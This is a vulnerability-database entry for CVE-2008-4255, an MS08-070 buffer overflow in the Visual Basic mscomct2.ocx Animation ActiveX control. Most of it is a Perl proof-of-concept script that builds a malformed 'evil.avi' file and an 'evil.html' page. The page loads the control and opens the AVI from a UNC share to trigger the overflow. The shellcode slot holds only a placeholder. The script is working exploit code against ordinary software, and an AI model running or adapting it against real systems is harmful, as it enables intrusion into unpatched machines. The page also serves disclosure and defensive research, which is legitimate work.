Microsoft Visual Basic - ActiveX Controls mscomct2.ocx Buffer Overflow (PoC)

🗓️ 12 Dec 2008 00:00:00Reported by Jerome AthiasType

Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow PoC. Generating malicious .AVI file to be served via UNC path

Reporter	Title	Published	Views	Family All 19
0day.today	MS Visual Basic ActiveX Controls mscomct2.ocx Buffer Overflow PoC	12 Dec 200800:00	–	zdt
Circl	CVE-2008-4255	12 Dec 200800:00	–	circl
Check Point Advisories	Microsoft Visual Basic ActiveX Controls Remote Code Execution (MS08-070; CVE-2008-3704; CVE-2008-4252; CVE-2008-4253; CVE-2008-4254; CVE-2008-4255; CVE-2008-4256)	11 Nov 200800:00	–	checkpoint_advisories
Check Point Advisories	Microsoft VB Common Controls Animation Object Buffer Overflow (MS08-070; CVE-2008-4255)	13 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2008-4255	10 Dec 200813:33	–	cve
Cvelist	CVE-2008-4255	10 Dec 200813:33	–	cvelist
exploitpack	Microsoft Visual Basic - ActiveX Controls mscomct2.ocx Buffer Overflow (PoC)	12 Dec 200800:00	–	exploitpack
Microsoft KB	MS08-070: Vulnerabilities in Visual Basic 6.0 Runtime Extended Files (ActiveX Controls) could allow remote code execution	24 Apr 201819:15	–	mskb
NVD	CVE-2008-4255	10 Dec 200814:00	–	nvd
Packet Storm	Microsoft Visual Basic ActiveX Buffer Overflow	12 Dec 200800:00	–	packetstorm

#!/usr/bin/perl
# Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object  Buffer Overflow (CVE-2008-4255) PoC
# You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx
# /JA
# Come to FRHACK!
# www.frhack.org

print "\nMicrosoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC\n";
print "Generating malicious .AVI file\n";
print "This file should be served via an UNC path\n";
print "[->] Building  evil.avi\n";

my $shellcode = "http://metasploit.com";

$FileHeader =
"\x52\x49\x46\x46\x2C\x08\x00\x00\x41\x56\x49\x20\x73\x74\x72\x68\x10\x00\x00\x00\x76\x69\x64\x73\x20\x20\x20\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x73\x74\x72\x66\x00\x08\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

open(my $poc, "> evil.avi");
print $poc $FileHeader;
close($poc);

print "[->] evil.avi generated\n";
print "[->] Building  evil.html\n";

$EvilHTML =
"<html><head></head><body><object id='evil' classid='clsid:B09DE715-87C1-11D1-8BE3-0000F8754DA1'><param name='AutoPlay' value='True'></object>".
"<script language=javascript>evil.Open('\\\\192.168.0.1\\share\\evil.avi');</script></body></html>";

open(my $poc, "> evil.html");
print $poc $EvilHTML;
close($poc);

print "[->] evil.html generated\n";

# milw0rm.com [2008-12-12]

12 Dec 2008 00:00Current

6.4Medium risk

Vulners AI Score6.4

CVSS 29.3

EPSS0.65731